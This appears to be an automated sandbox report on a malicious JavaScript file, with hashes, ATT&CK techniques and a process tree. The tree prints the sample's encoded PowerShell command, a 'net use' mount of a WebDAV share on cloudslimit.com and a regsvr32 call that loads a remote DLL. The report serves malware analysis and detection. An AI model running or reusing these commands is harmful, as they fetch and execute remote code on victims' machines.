5741beabdd954aa276128bb17f8f6a923f120e54e8e13eed3adfcc7779d17a45

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21-08-2024 14:09

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General

Target

5741beabdd954aa276128bb17f8f6a923f120e54e8e13eed3adfcc7779d17a45.js
Size

13KB
MD5

a1339b6e97ef39a9bb1f658e877a2bf9
SHA1

2c4817712deeca8f4d85b2a255157cbf2b4c7a9c
SHA256

5741beabdd954aa276128bb17f8f6a923f120e54e8e13eed3adfcc7779d17a45
SHA512

59fa8f485c4080b71562b8649fb211b91c4a7a4bccdccc953160fb9895e37b9f6be480d874abf79bdbc970990d229456d4b7745517ddd27667a87c3fd9043fb4
SSDEEP

96:yBF230q+HCd8XmfDM7ayPAcH2oAH3sHWtkXfhD/qfhevM9EKE3BE8WIyUD8U:yBYkZC2Wfw7XRWcfRqfw8EKs2UAU

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1392	powershell.exe
1392	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1392	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1904 wrote to memory of 1392	1904	wscript.exe	84
PID 1904 wrote to memory of 1392	1904	wscript.exe	84
PID 1392 wrote to memory of 2636	1392	powershell.exe	86
PID 1392 wrote to memory of 2636	1392	powershell.exe	86
PID 1392 wrote to memory of 2408	1392	powershell.exe	87
PID 1392 wrote to memory of 2408	1392	powershell.exe	87

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\5741beabdd954aa276128bb17f8f6a923f120e54e8e13eed3adfcc7779d17a45.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA0ADgANQA2ADkAMQA1ADAAMgA0ADMAOQA1AC4AZABsAGwA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:2636
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\4856915024395.dll
    3⤵
    PID:2408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_if2p05dm.pfy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1392-0-0x00007FFF4C3F3000-0x00007FFF4C3F5000-memory.dmp

Filesize
8KB

Download
memory/1392-1-0x0000029AFB700000-0x0000029AFB722000-memory.dmp

Filesize
136KB

Download
memory/1392-11-0x00007FFF4C3F0000-0x00007FFF4CEB1000-memory.dmp

Filesize
10.8MB

Download
memory/1392-12-0x00007FFF4C3F0000-0x00007FFF4CEB1000-memory.dmp

Filesize
10.8MB

Download
memory/1392-15-0x00007FFF4C3F0000-0x00007FFF4CEB1000-memory.dmp

Filesize
10.8MB

Download